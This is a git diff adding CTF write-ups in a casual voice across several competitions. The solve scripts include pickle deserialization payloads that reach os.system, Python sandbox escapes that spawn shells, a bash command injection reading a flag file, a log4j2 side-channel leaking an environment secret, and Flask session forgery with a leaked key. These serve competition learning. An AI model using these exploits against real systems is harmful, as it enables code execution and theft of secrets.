v[35]) +s.add((v[32] ^ v[23]) == 8) +s.add(v[20] >= v[55]) +s.add(v[14] != v[17]) +s.add(v[8] - v[19] == 28) +s.add(v[13] - v[16] == 1) +s.add(v[21] <= v[29]) +s.add(v[37] - v[26] == 22) +s.add(v[24] - v[46] == 73) +s.add(v[48] != 105) +s.add(v[9] != 101) +s.add((v[58] ^ v[28]) == 19) +s.add(v[25] != v[53]) +s.add(v[44] > 0x30) +s.add(v[31] == 95) +s.add(v[56] == 51) +s.add(v[51] + v[39] == 211) +s.add(v[45] == 102) +s.add(v[47] >= v[57]) +s.add(v[10] == 108) +s.add(v[21] - v[44] == 45) +s.add(v[11] + v[17] == 216) +s.add(v[16] == 103) +s.add(v[32] > 0x66) +s.add(v[14] + v[54] == 167) +s.add(v[23] >= v[49]) +s.add(v[30] == 119) +s.add((v[48] ^ v[28]) == 12) +s.add(v[36] != v[55]) +s.add(v[13] != v[53]) +s.add(v[46] == 48) +s.add(v[29] == 111) +s.add(v[27] != v[51]) +s.add(v[26] == 100) +s.add(v[35] == 122) +s.add(v[58] - v[8] == 2) +s.add(v[20] == 100) +s.add(v[41] == 95) +s.add(v[24] == 121) +s.add(v[19] >= v[52]) +s.add((v[25] ^ v[37]) == 31) +s.add(v[11] == 105) +s.add(v[33] == 109) +s.add(v[22] - v[9] == 6) +s.add(v[39] != 51) +s.add(v[47] == 100) +s.add(v[27] == 95) +s.add(v[37] != 100) +s.add(v[22] == 108) +s.add(v[32] > 0x68) +s.add(v[53] > 0x32) +s.add(v[17] == 111) +s.add(v[8] >= v[54]) +s.add(v[28] + v[36] == 232) +s.add(v[49] != 116) +s.add(v[9] == 102) +s.add(v[57] <= 0x79) +s.add(v[52] <= 0x7A) +s.add(v[39] != 102) +s.add((v[58] ^ v[44]) == 69) +s.add(v[41] == 95) +s.add(v[25] > 0x30) +s.add(v[23] == 97) +s.add(v[48] == 98) +s.add(v[55] + v[14] == 170) +s.add(v[19] <= 0x6F) +s.add(v[21] == 101) +s.add(v[51] == 101) +s.add(v[51] + v[13] == 205) +s.add(v[22] != 101) +s.add(v[55] == 54) +s.add(v[39] == 110) +s.add(v[8] - v[14] == 7) +s.add(v[25] == 101) +s.add((v[44] ^ v[37]) == 66) +s.add(v[54] == 51) +s.add(v[58] > 0x6E) +s.add(v[52] == 52) +s.add(v[13] == 104) +s.add(v[14] == 116) +s.add(v[49] == 48) +s.add(v[36] == 122) +s.add(v[57] > 0x35) +s.add(v[8] >= v[22]) +s.add((v[28] - 101) <= 0x14) +s.add(v[19] == 95) +s.add(v[58] == 125) +s.add(v[32] >= v[44]) +s.add(v[37] > 0x61) +s.add(v[58] != 122) +s.add(v[53] == 52) +s.add(v[44] == 56) +s.add(v[52] == 52) +s.add(v[32] == 105) +s.add(v[22] == 108) +s.add(v[53] == 52) +s.add(v[8] == 123) + +for i in v: + s.add(i >= 0x20) + s.add(i <= 0x7D) + +s.check() +model = s.model() + +for i in v: + if str(model[i]) is not 'None': + print(chr(int(str(model[i]))), end='') +#print([chr(int(str(model[i]))) for i in v if model[i]]) +``` + +`hope{flight_got_delayed_now_im_zzzing_e18f0db06e443636}` + + +### better-llvm + +chall looked like a vm of some sorts with the switch table, which looks kinda yikes to reverse + +none of the codes seem to be affected by our input though so we can probably get the state when all of the stuff finishes computing + +considering this is basically a python program i figured might as well try getting context by editing the python string at the end to run our own codes +```py +with open('betterllvm', 'rb') as orig: + ostr = b"if dicegang():\n print('ok fine you got the flag')\nelse:\n print('nope >:)')" + nstr = b'import pdb; pdb.runcall(dicegang)' #b'breakpoint()' + data = orig.read() + idx = data.find(ostr) + with open('betterllvm-edit', 'wb') as new: + towrite = data[:idx] + nstr + b"\0"*(len(ostr) - len(nstr)) + data[idx + len(ostr):] + assert len(towrite) == len(data) + new.write(towrite) +``` + +breakpoint() worked but i couldnt get enough info to decompile to generated dicegang() function code (dis breaks, unmarshallable, co_code doesnt work with any decompilers) + +so i tried doing dynamic analysis with pdb stepping but broke until i switched out breakpoint() with `pdb.runcall(dicegang)` + +then i realized the flagchecker has patterns which looks very doable with instruction counting + +then its basically just the gdb method ive been using so many times + +flag get pog `hope{CPYTHON_ISjvmV2}` +```py +from pwn import * +import string + +context.log_level = 'ERROR' + +flag = 'hope{' + +while len(flag) < 21: + for c in string.printable: + if c in '{\t ~}|' or c is flag[-1]: #somehow it also clears if you use the previous char or some random chars + continue + p = process('betterllvm-edit') + p.recvuntil(b'>:)') + p.sendline(flag + c * (21 - len(flag))) + p.recvuntil(b'Pdb') + p.sendline(b's') #2 and 3 only runs once + p.recvuntil(b'Pdb') + + count = 0 + try: + while True: + for i in range(4): #4 5 4 6 + p.sendline('s') + p.recvuntil('Pdb') + count += 1 + except EOFError: + p.close() + + print(count, c, flag) + + if count > len(flag): + flag += c + break +``` + +### arson + +i actually solved this before betterllvm but im putting it here since i tried solving reckless arson after betterllvm and they are similar stuff + +used angstrom solve pickle and changed empty to torch + +everything worked after i changed index of `os.wrap_close` to match remote with a brute force lmfao idk why that worked +```py +from pwn import * + +for i in [133]: #range(100, 150): #get around 134 and see if any looks like it got a shell + s = remote('mc.ax', 31064) + s.recvuntil('Enter') + payload = base64.b64encode(pkl(i)) + print(payload) + s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc + # print(i, s.recvall(timeout=1)) + # s.close() + s.interactive() +``` + +i basically just stared at this until it looks like it got a shell + +and it turns out to be 133 instead of 134 like my local + +(turns out thats an unintended solution? reckless arson did curb my payload by forcing us to use `_load` instead of `_legacy_load`) + +`hope{pr1ckly_pickl3s}` + +(see angstrom kevin higgs for more info) + +didnt solve reckless arson, but [@Robert](https://maplebacon.org/authors/Nneonneo/) gave me a really nice pickle crafting template which is way easier to understand than angstrom's +```py + +from pickle import * +import struct +import pickletools + + +def flatten(x, res=None): + if res is None: + res = bytearray() + if isinstance(x, bytes): + res += x + else: + for r in x: + flatten(r, res) + return res + +def put(x): + return [BINPUT, struct.pack(' ${filename}`), and with that we can chain multiple commands + +`{VAR,,}` in bash allows turning into lower case so this means we can finally run commands (since bash commands are case sensitive) + +so we can just run `TEST; A='EVAL ECHO $(CAT /FLAG/FLAG.TXT)'; ${A,,} > STHDIFF` then verify with /list and we can see sthdiff is created + +read it with /open and we get the flag `DUCTF{/flag_didn't_work_for_me...}` diff --git a/ctfs/comments/gdgalgiers22.md b/ctfs/comments/gdgalgiers22.md new file mode 100644 index 0000000..5e72fcf --- /dev/null +++ b/ctfs/comments/gdgalgiers22.md @@ -0,0 +1,519 @@ +### exorcist + +originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it + +but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall + +and then we went on a huge detour trying to figure out why the length is always changing + +got so fed up that we went back home mid solving even tho this is a beginner chall lmfao + +eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment + +using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work + +`CyberErudites{Y0u_kn0w_h0w_T0_XOR}` +```py +from pwn import * + +io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002) +io.sendline(b"a"*60) +io.recvuntil(b">> > ") +cipher = io.recvuntil("\n").decode() + +print(cipher) + +output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')] +print(output) +# print(bytes([o^v for o, v in zip(output, b"CyberErudites{")])) +# output = cipher.encode() +for i in range(len(output)): + op = output[-i:] + output[:-i] + + print(len(op)) + key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16] + print(len(key)) + x = bytes([o^v for o, v in zip(op, key*10)]) + print(len(x)) + + print(i) + + print(x) +``` + + +### type it + +got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this + +lmfao literally was just unbalanced parentheses like sqli + +`())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily + +(`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses) + +my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag + +used this since its basically just brackets lmao + +### type it 2 + +unbalanced parentheses is fixed now, so no more funny shennanigans + +most symbols are disallowed too so escape sequences arent easy to create + +worse is coz of this we have nothing more than the return type to go off of + +but hey in these cases why dont we side channel it like googlectf's log4j2? + +we cant use square brackets or basically most things outside of function calls so thats annoying + +but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all + +but that means we'd have to play word unscramble lmao no thanks + +(and it turns out the flag has multiple same characters pretty frequently too sooo not enough information) + +tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned + +eventually i realized i can obtain list types from `type.mro()`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned + +but `+` aint banned so we can actually create multiple tuples/lists and then chain them together + +but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here + +hold on we can make generators though if we skip all the spaces using brackets as delimiters + +and if we can make it return arbitrary values of our choice we can just use it + +turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets) + +now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all) + +and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType +```py +from pwn import * +import string + +p = remote("jail.chal.ctf.gdgalgiers.com", 1304) +#p = process(['python3.10', 'jail.py']) + +chars = [] + +""" +(flag.encode().startswith( + type(flag.encode())( #bytes class + type(type.mro(type))( #list class + (type(())( #create tuple from generator + ((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use + ) + +(type(())( + ((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters + ) + ) + ) +)) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false +""" + +flag = "CyberErudites{" + +payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))(" +payloadsuffix = "))))or(None)" + +while "}" not in flag: + for i in string.printable: + check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i]) + p.recvuntil("Input : ") + p.sendline(payloadprefix + check + payloadsuffix) + p.recvuntil("") + if b'bool' in resp: + flag += i + print(flag) +``` + +`CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down: + +also i nearly popped a shell lol after realizing we can access globals with generator objects kekw + +`((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module + +but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that + +### impossible challenge + +sure its "impossible" if you run it coz rand basically never clashes thrice in a row + +but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~ + +`CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl + +or at least try to do it the fun way with patching and dynamic debugging lmao +```py +v11 = [0]*40 + +v11[0] = 6; +v11[1] = 60; +v11[2] = 39; +v11[3] = 32; +v11[4] = 55; +v11[5] = 0; +v11[6] = 55; +v11[7] = 48; +v11[8] = 33; +v11[9] = 44; +v11[10] = 49; +v11[11] = 32; +v11[12] = 54; +v11[13] = 62; +v11[14] = 97; +v11[15] = 32; +v11[16] = 0; +v11[17] = 26; +v11[18] = 43; +v11[19] = 10; +v11[20] = 49; +v11[21] = 45; +v11[22] = 12; +v11[23] = 11; +v11[24] = 2; +v11[25] = 26; +v11[26] = 12; +v11[27] = 97; +v11[28] = 26; +v11[29] = 116; +v11[30] = 40; +v11[31] = 53; +v11[32] = 42; +v11[33] = 97; +v11[34] = 97; +v11[35] = 44; +v11[36] = 7; +v11[37] = 41; +v11[38] = 32; +v11[39] = 56; + + +print(bytes([69 ^ i for i in v11])) +``` + +### venomous + +wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers + +i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on + +`PYTHONINSPECT=1` also didnt work coz sudo clears env + +and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable + +wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed + +wouldve been cool if it was related tho https://bugs.python.org/issue35883 + +after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py` + +`CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}` + +### venomous 2 + +pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol + +the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason + +not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}` + +i wonder if the intended solution is related to zip files + +### validator + +originally other ppl worked on it and figured out you can do format string injection with SchemaError + +and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint + +so it basically ended up being a pyjail and thats where i come into play + +got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint` + +got some inspiration after poking at py explorer for a bit + +so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up + +if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__` + +with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is + +we were literally there lmao i just distracted everyone by thinking of `__subclasses__()` + +but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason + +and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless + +after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only + +eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy` + +which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag` + +and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}` +```py +import requests +from flask.sessions import SecureCookieSessionInterface +from itsdangerous import URLSafeTimedSerializer + +class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): + # Override method + # Take secret_key instead of an instance of a Flask app + def get_signing_serializer(self, secret_key): + if not secret_key: + return None + signer_kwargs = dict( + key_derivation=self.key_derivation, + digest_method=self.digest_method + ) + return URLSafeTimedSerializer(secret_key, salt=self.salt, + serializer=self.serializer, + signer_kwargs=signer_kwargs) + +def decodeFlaskCookie(secret_key, cookieValue): + sscsi = SimpleSecureCookieSessionInterface() + signingSerializer = sscsi.get_signing_serializer(secret_key) + return signingSerializer.loads(cookieValue) + +# Keep in mind that flask uses unicode strings for the +# dictionary keys +def encodeFlaskCookie(secret_key, cookieDict): + sscsi = SimpleSecureCookieSessionInterface() + signingSerializer = sscsi.get_signing_serializer(secret_key) + return signingSerializer.dumps(cookieDict) + +secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy' + +print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content) +``` + + +### garbage truck +- literally no src and it just prints `empty garbage truck` for like most of the time +- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao +- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this` +- after trying to map out whats banned i realized i can `breakpoint()` +- which means i can literally escape to host now ey +- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist +- i also cant do `sh` for soem reason i can only run commands from `os.system()` +- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about +- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop +- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason +- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now +- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still +- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]` +- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}` + + +### kevin higgs the revenge + +my angstrom payload almost works if you remove the frame opcode + +but setattr got banned lol so my persistence mechanism is no more sadge + +and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit + +after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting + +so its time to come back to this chall + +i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM + +and wow in the meantime i really learnt a ton on how the pickle stack machine actually works + +so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal + +but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing + +and i realized `empty.__dict__` exists + +so we just need a method to accept a value and we are gold + +update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol) + +so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao + +adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script +```py +from pwn import * + +from pickle import * +import struct + +def flatten(x, res=None): + if res is None: + res = bytearray() + if isinstance(x, bytes): + res += x + elif isinstance(x, list) or isinstance(x, tuple): + for r in x: + flatten(r, res) + else: + print("WRONG TYPE FOR", x) + return res + +def put(x): + return [BINPUT, struct.pack(' obtained from STACK_GLOBAL) + REDUCE, + POP, #discard the returned object we dont need it + + + #.__subclasses__() + next('__subclasses__', args=[]), + + #.__getitem__(117) + next('__getitem__', args=pint(index)), + + #.__init__ + next('__init__'), + + #.__globals__ + next('__globals__'), + + #.__getitem__('system') + next('__getitem__', args=pstr('system')), + + + #('sh') + getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it + + ptuple( + pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n" + ), + + REDUCE, + STOP] + + return flatten(p).hex() + + +for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell + s = remote('jail.chal.ctf.gdgalgiers.com', 1300) + #s = process(['python3.10', 'challenge.py']) + s.recvuntil('Enter') + payload = pkl(i) + print(payload) + print(i) + s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc + resp = s.recvall(timeout=1) + if b'AttributeError' not in resp: + s.interactive() + else: + s.close() +``` + +and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol) + +`CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}` + +really happy now that i understand exactly how my solve for kevin higgs work lmaooo + +when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao + +~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~ + + +### PY explorer + +this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module + +coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly) + +not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out) + +but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still + +so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc) + +then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__` + +which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func + +turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot + +welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects + +even though we have to blindly type in coz stdout flush wont work anymore lol + +i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr + +so i just `import os; os.system('sh')` to drop into a shell with working flush ey + +with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}` + +i was on the right track all along lmaoo + +with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep \ No newline at end of file diff --git a/ctfs/comments/googlectf22.md b/ctfs/comments/googlectf22.md new file mode 100644 index 0000000..da6184a --- /dev/null +++ b/ctfs/comments/googlectf22.md @@ -0,0 +1,64 @@ +### log4j2 + +building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful + +since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking + +and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword + +i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything) + +so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked + +but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it + +and i see `%equals` being a thing in the specifiers + +so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{}{}` + +however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched + +but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{}{%C{a}}` + +but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{}}{}{%C{a}}` + +with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow + +`%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution) + +with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}]}{=}}{}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character + +turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets + +and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}.]}{=}}{}{%C{a}}` + +we can get the script that generates the flag: + +```py +import requests +import string + +flag = 'CTF=' + +while True: + for c in string.ascii_lowercase + '-=': + #if c in '}{ ': #for string.printable since these instantly breaks parser + # continue + pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour + payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}" + print(payload) + r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload}) + print(r.content) + if b'Sensitive' in r.content: + flag += c + print('current', flag) + break + if flag.endswith('===='): + break +``` + +`CTF{and-you-thought-it-was-over-didnt-you}` + +for some reason the ending bracket never got hit though, so the endswith clause never ran + +but hey flag is flag ey diff --git a/ctfs/comments/hacklu22.md b/ctfs/comments/hacklu22.md new file mode 100644 index 0000000..72cd981 --- /dev/null +++ b/ctfs/comments/hacklu22.md @@ -0,0 +1,333 @@ +### culinary class room + +pyjails with decorators galore wooo + +hopefully the comments are enough to understand wtf this is doing lmao + +```py +#exec("[*vars(__import__('os')).values()][47]('./readFlag')") +#readflag is not right lmfao + +#call exec +@print +@bytes + +#) & pass to exec +@license._Printer__filenames.__iadd__ +@list +@str.encode +@chr +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@len +@str #"None" + +#' +@license._Printer__filenames.append +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@True.real.__lshift__ +@len +@str #"None" + +#g +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__add__ +@ord +@list.pop +@list +@str + +#a +@license._Printer__filenames.append +@license._Printer__filenames.__getitem__ +@True.real.__rsub__ +@len +@str #None + +#l +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@ord +@list.pop +@sorted +@list +@str + +#F +@license._Printer__filenames.append +@True.real.__rlshift__ +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@True.real.__lshift__ +@len +@str + +#d +@license._Printer__filenames.append +@True.real.__rsub__ +@ord +@list.pop +@list +@str + +#a +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rsub__ +@ord +@list.pop +@list +@str + + +#e +@license._Printer__filenames.append +@ord +@list.pop +@list +@str + + +#r +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__add__ +@True.real.__add__ +@ord +@list.pop +@sorted +@list +@str + +#/ +@license._Printer__filenames.append +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@True.real.__rlshift__ +@len +@str #None + +#. +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@True.real.__rlshift__ +@len +@str #None + + +#' +@license._Printer__filenames.append +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@True.real.__lshift__ +@len +@str #"None" + +#( +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rsub__ +@license._Printer__filenames.__getitem__ +@str.isascii +@str + +#] +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@str.isnumeric +@str + +#7 +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rsub__ +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@len +@str + +#4 +@license._Printer__filenames.append +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__rlshift__ +@len +@str + +#[ +@license._Printer__filenames.append +@license._Printer__filenames.__getitem__ +@str.isnumeric +@str + +#] +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@str.isnumeric +@str + + +#) +@license._Printer__filenames.append +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@True.real.__lshift__ +@True.real.__lshift__ +@str.isascii +@str + +#values( +@license._Printer__filenames.__iadd__ +@list +@str.encode +@dict.values.__name__.__add__ +@chr +@True.real.__rsub__ +@True.real.__rsub__ +@license._Printer__filenames.__getitem__ +@str.isascii +@str + + +#. +@license._Printer__filenames.append +@True.real.__rsub__ +@True.real.__rrshift__ +@license._Printer__filenames.__getitem__ +@True.real.__rlshift__ +@len +@str #None + + +#) +@license._Printer__filenames.append +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@len +@str #"None" + +#) +@license._Printer__filenames.append +@True.real.__add__ +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@len +@str #"None" + +#' +@license._Printer__filenames.append +@license._Printer__filenames.__getitem__ +@True.real.__add__ +@True.real.__add__ +@True.real.__lshift__ +@len +@str #"None" + +#s +@license._Printer__filenames.append +@True.real.__add__ +@True.real.__add__ +@True.real.__add__ +@True.real.__add__ +@True.real.__add__ +@ord +@str.lower +@next +@list.__iter__ +@list +@str #"None" + +#o +@license._Printer__filenames.append +@True.real.__add__ +@ord +@str.lower #n is really close to o +@next #get first char "N" +@list.__iter__ +@list +@str #"None" + +#' +@license._Printer__filenames.append +@True.real.__rsub__ +@license._Printer__filenames.__getitem__ +@True.real.__rsub__ +@len + +#__import__( +@license._Printer__filenames.__iadd__ +@list +@str.encode +@__import__.__name__.__add__ +@chr +@license._Printer__filenames.__getitem__ +@True.real.__rsub__ +@len + + +#vars( +@license._Printer__filenames.__iadd__ +@list +@str.encode +@vars.__name__.__add__ +@chr +@True.real.__rsub__ 